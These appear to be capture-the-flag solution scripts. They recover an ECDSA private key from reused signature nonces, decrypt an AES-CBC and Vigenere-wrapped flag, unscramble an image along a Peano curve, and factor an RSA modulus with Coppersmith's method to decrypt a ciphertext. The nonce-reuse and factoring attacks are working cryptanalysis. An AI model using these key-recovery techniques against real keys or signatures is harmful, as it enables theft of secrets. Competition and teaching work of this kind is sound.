encrypted_flag = cipher.encrypt(pad(victory_encrypted_flag.encode(), AES.block_size))
encrypted_flag_hex = binascii.hexlify(iv + encrypted_flag).decode('utf-8')

print("Encrypted flag (AES in CBC mode, hex):", encrypted_flag_hex)

# output
# r1 = 76712729228617953759327460769502934288442352683563219334681162937413283736816
# r2 = 76712729228617953759327460769502934288442352683563219334681162937413283736816
# s1 = 61142716522536931000933884258275974451672976799526648226417247076297644105637
# s2 = 110325312844668993695487572180262093359430311098679377435432296948029997765038
# z1 = 98842149708744845426265508894541731680137086618921535447693509433269270288237
# z2 = 78136168258634736524120345789104208327951990634981072456222624757958532742853
# ('Encrypted flag (AES in CBC mode, hex):', u'12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62ef6cb1e3341361ddb36b665b471be124ae3a9271da69a21ce8d6')

from gmpy2 import *
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
a = 0
b = 7
xG = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
yG = 0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8
G = (xG, yG)
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
h = 1
zero = (0,0)

r1=76712729228617953759327460769502934288442352683563219334681162937413283736816

s1 = 61142716522536931000933884258275974451672976799526648226417247076297644105637
s2 = 110325312844668993695487572180262093359430311098679377435432296948029997765038
z1 = 98842149708744845426265508894541731680137086618921535447693509433269270288237
z2 = 78136168258634736524120345789104208327951990634981072456222624757958532742853

k=(gmpy2.invert(s1-s2,n)*(z1-z2)+n)%n
dA=gmpy2.invert(r1,n)*(k*s1-z1)%n

s=u'12d5174f2548c179287c7a2ce98a60b20a2dea24611a10d05a8dda9e7bda5f00e260e0c75e62ef6cb1e3341361ddb36b665b471be124ae3a9271da69a21ce8d6'
ans=binascii.unhexlify(s)
flag_1=ans[:16]
enflag=ans[16:]
key_temp = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key_temp, AES.MODE_CBC,flag_1)
decrypted_flag = unpad(cipher.decrypt(enflag), AES.block_size)

def victory_decrypt(ciphertext, key):
    key = key.upper()
    key_length = len(key)
    plaintext = ''

    for i, char in enumerate(ciphertext):
        if char.isalpha():
            shift = ord(key[i % key_length]) - ord('A')
            decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
            plaintext += decrypted_char
        else:
            plaintext += char

    return plaintext

victory_encrypted_flag = decrypted_flag.decode()
victory_key = "WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag.lower())
#wdflag{d4d98e3c6224cb3f641483f31d33ce58}

from PIL import Image
from tqdm import tqdm

def peano(n):
    if n == 0:
        return [[0,0]]
    else:
        in_lst = peano(n - 1)
        lst = in_lst.copy()
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
        px,py = lst[-1]
        lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
        return lst

order = peano(6)

img = Image.open(r"C:\Users\Lenovo\Desktop\1.png")

width, height = img.size

block_width = width # // 3
block_height = height # // 3

new_image = Image.new("RGB", (width, height))

for i, (x, y) in tqdm(enumerate(order)):
    # 根据列表顺序获取新的坐标
    new_x, new_y = i % width, i // width
    # 获取原图像素
    pixel = img.getpixel((x, height - 1 - y))
    # 在新图像中放置像素
    new_image.putpixel((new_x, new_y), pixel)

new_image.save("rearranged_image.jpg") 

n =  111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e =  37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c =  14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
k = e // n - 2 
tmp = 65537 + (k+2)*n + (k+2)+1 
R.<x> = PolynomialRing(RealField(1024)) 
f = e*x - (2*(k+1)*x^2 + (k+2)*n + tmp*x) 
res = f.roots() 
 
for root in res: 
    p_h = int(root[0]) 
    PR.<x> = PolynomialRing(Zmod(n)) 
    f1 = x + p_h 
    roots = f1.monic().small_roots(X=2^200,beta=0.4) 
    if roots: 
        p = int(roots[0]) + p_h 
        q = n // p 
        e = 65537 + k * p + (k+2) * ((p+1) * (q+1)) + 1 
        print(p)
        print(q)
        print(e)

p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
e=37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226053225696381145049303216018329937626866082580192534109310743249

p=9915449532466780441980882114644132757469503045317741049786571327753160105973102603393585703801838713884852201325856459312958617061522496169870935934745091
q=11287710353955888973017088237331029225772085726230749705174733853385754367993775916873684714795084329569719147149432367637098107466393989095020167706071637
e=37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226053225696381145049303216018329937626866082580192534109310743249
c=14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
from gmpy2 import *
from Crypto.Util.number import * 
n=p*q
phi=(p-1)*(q-1)
d=invert(e,phi)
m=pow(c,d,n)
print(long_to_bytes(m))